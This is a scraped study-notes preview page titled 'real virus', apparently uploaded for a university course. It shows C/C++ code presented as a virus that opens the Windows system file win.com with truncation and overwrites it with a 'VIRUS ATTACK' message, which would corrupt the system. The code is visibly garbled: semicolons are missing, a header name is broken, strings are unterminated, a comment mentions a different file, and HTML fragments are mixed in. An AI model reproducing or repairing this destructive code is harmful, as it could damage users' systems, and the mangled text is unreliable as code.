real virus - #include<iostream.h>...

Info iconThis preview shows pages 1–3. Sign up to view the full content.

View Full Document Right Arrow Icon
Sheet1 Page 1 #include<iostream.h> #include<conio.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sysstat.h> #include <io.h> #include <string.h> int main(void) { clrscr() int handle char string[1000] int length, res,i /* Create a file named "DOVE.GIF" in the current directory and write a string to it. If "DOVE.GIF" already exists, it will be overwritten. */ if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT | O_TRUNC, S_IREAD | S_IWRITE)) == -1) { printf("Error opening file. execution currupt your WINDOWS !!!!!!</html> Wrote %d bytes to the file. Hello !!!!!!!!" cout<<" This is a VIRUS ATTACK !!!" ); exit(1); } strcpy(string, <html>Hello !!!!!!! This is a VIRUS ATTACK !!! This ); length = strlen(string); if ((res = write(handle, string, length)) != length) { printf(Error writing to the file. ); getch(); exit(1); } printf( , res); cout<<
Background image of page 1

Info iconThis preview has intentionally blurred sections. Sign up to view the full version.

View Full DocumentRight Arrow Icon
Sheet1 Page 2 cout<<" This execution currupt your WINDOWS !!!!!! execution currupt your WINDOWS !!!!!!</html>
Background image of page 2
Image of page 3
This is the end of the preview. Sign up to access the rest of the document.

This note was uploaded on 11/06/2010 for the course UBIT 411 taught by Professor Saleemelahi during the Spring '10 term at University of Karachi.

Page1 / 4

real virus - #include&lt;iostream.h&gt;...

This preview shows document pages 1 - 3. Sign up to view the full document.

View Full Document Right Arrow Icon
Ask a homework question - tutors are online